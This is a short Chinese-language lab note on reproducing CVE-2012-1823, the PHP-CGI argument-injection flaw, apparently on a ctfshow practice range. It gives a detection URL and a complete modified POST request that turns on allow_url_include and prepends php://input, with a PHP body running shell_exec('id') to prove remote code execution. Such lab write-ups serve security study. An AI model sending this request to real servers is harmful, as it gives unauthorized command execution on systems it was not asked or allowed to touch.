CVE-2012-1823详细介绍
漏洞复现（靶场为ctfshow）
利用
http://url/index.php?-s
判断是否存在漏洞
若出现源码组存在
bp抓包按下面修改
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
发送后会出现id
表明利用成功
